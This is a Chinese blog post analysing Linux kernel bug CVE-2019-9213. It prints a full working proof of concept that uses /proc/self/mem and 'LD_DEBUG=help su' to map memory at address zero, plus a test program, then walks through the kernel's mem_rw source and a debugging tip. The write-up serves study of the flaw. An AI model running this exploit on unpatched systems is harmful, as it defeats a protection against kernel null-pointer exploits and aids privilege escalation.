0%

cve-2019-9213

0x00 前言

在安全客看到这个cve,比较有意思。这个漏洞虽然不能提权,但是,可以在0页分配内存,可以作为辅助漏洞,在linux 4.20.14之前都有效。

0x01 poc分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

int main(void) {
void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1, "open");
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
system("head -n1 /proc/$PPID/maps");
printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
}

详细的函数调用分析安全客也有,这篇主要是分析一下前置知识使我们能够看懂poc

0x00 /proc/self/mem文件

我们知道proc这个文件夹是一个虚拟的文件目录,这个文件夹储存的都是一些系统的东西,参考 :

从这个链接我们可以看出,/proc/[pid]这个目录储存的是和进程有关信息,而/proc/self是一个链接,指向/proc/[current pid]

而/proc/self/mem这个文件就是当前进程的内存映射,我们可以read()、open()和lseek(),事实上我们还能write()写一段poc验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include<string.h>
int main(void) {
void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1, "open");
unsigned long addr = (unsigned long)map;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[0x100];
memset(cmd,255,0x100);
write(fd,cmd,0x100);
printf("data at 0x10000: 0x%llx\n", *(unsigned long *)0x10000);
}

结果:

那么问题来了,/proc/self/mem这个文件的权限是

1
-rw-------. 1 pwnht pwnht 0 Mar 27 01:28 /proc/self/mem

那么我们知道,一个进程的每个内存页不一定是相同的,那么你没有写权限的页,你去写会有什么事情发生呢,仍然可以写入 有点bug的感觉 。。。。大家自行验证,只需要让上述poc的mmap的内存没有写权限即可

0x01 LD_DEBUG

LD_DEBUG其实是个环境变量,这个环境变量主要用于一个程序调用多个动态链接库时,很难去定位错误的情况,然后用法就是

1
LD_DEBUG=option program arg1 arg2...

比如:

1
LD_DEBUG=help /bin/bash

然后选项的话就有下面几个

1
2
3
4
5
6
7
8
9
10
11
libs        display library search paths
reloc display relocation processing
files display progress for input file
symbols display symbol table processing
bindings display information about symbol binding
versions display version dependencies
scopes display scope information
all all previous options combined
statistics display relocation statistics
unused determined unused DSOs
help display this help message and exit

从poc可以看出我们利用LD_DEBUG让root权限调用mem_write()函数,其实,这里我有点不明白了,为啥LD_DEBUG=help su 1>fd 就可以root权限调用,su 1>fd 就不行。。。。

0x02 lseek()函数

参考: https://blog.csdn.net/songyang516/article/details/6779950

1
2
3
4
5
6
7
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};

我可以从参考链接可以知道lseek()可以设置打开文件的当前偏移,write()函数和read()函数写入的时候,都是从这个偏移开始的,然后当调用lseek()函数的时候,就会调用mem_lseek()函数,这个函数很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
loff_t mem_lseek(struct file *file, loff_t offset, int orig)
{
switch (orig) {
case 0:
file->f_pos = offset;
break;
case 1:
file->f_pos += offset;
break;
default:
return -EINVAL;
}
force_successful_syscall_return();
return file->f_pos;
}

可以看到没有任何check,kernel的switch直接用数字还是不常见的,其实kernel也有seek的宏

1
2
3
#define SEEK_SET	0	/* seek relative to beginning of file */
#define SEEK_CUR 1 /* seek relative to current file position */
#define SEEK_END 2 /* seek relative to end of file */

0x03 mem_write()函数

1
2
3
4
5
static ssize_t mem_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
return mem_rw(file, (char __user*)buf, count, ppos, 1);
}

可以看到这个函数有四个参数,前三个参数就是我们传的三个参数,第四个参数就是我们用lseek()函数设置的offset,然后我们可以在看看mem_read()函数,对比一下

1
2
3
4
5
static ssize_t mem_read(struct file *file, char __user *buf,
size_t count, loff_t *ppos)
{
return mem_rw(file, buf, count, ppos, 0);
}

发现他们只有只有第五个参数不一样,也就是flag标志位,之后再看mem_rw()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
unsigned int flags;

if (!mm)
return 0;

page = (char *)__get_free_page(GFP_KERNEL);
if (!page)
return -ENOMEM;

copied = 0;
if (!mmget_not_zero(mm))
goto free;

flags = FOLL_FORCE | (write ? FOLL_WRITE : 0);

while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);

if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}

this_len = access_remote_vm(mm, addr, page, this_len, flags);
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}

if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}

buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;

mmput(mm);
free:
free_page((unsigned long) page);
return copied;
}

然后再体会一下作者说的

在while循环中,如果是写首先通过copy_from_user函数将待写内容buf拷贝到分配的page中,然后调用access_remote_vm函数写入远程进程。读则相反,先调用access_remote_vm函数读取远程进程中的数据,然后调用copy_to_user函数将读取的page拷贝到buf中。

如果调用的mem_write()函数,则在mem_rw()参数中,write参数为1,那么他就会执行while循环的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int this_len = min_t(int, count, PAGE_SIZE);

if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, flags);
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;

如果调用的是mem_read()函数在会调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
this_len = access_remote_vm(mm, addr, page, this_len, flags);
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}

if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}

buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;

之后安全课都有详细分析不再赘述

0x01 调试poc

这个poc直接用gdb调试很难调试,因为他调用了system()函数,比较有意思的是system()函数会clone出一个子进程,主进程会调用wait4()函数等待子进程结束,然后gdb就会自动转到这个子进程,这样的话,断点就会失效,你如果continue的话程序就直接结束了,一种解决方案就是在 while 循环结束后加一个getchar()这样的话主进程就会停住,开一个gdb attach这个进程就好了

0x04 参考链接

https://www.anquanke.com/post/id/173356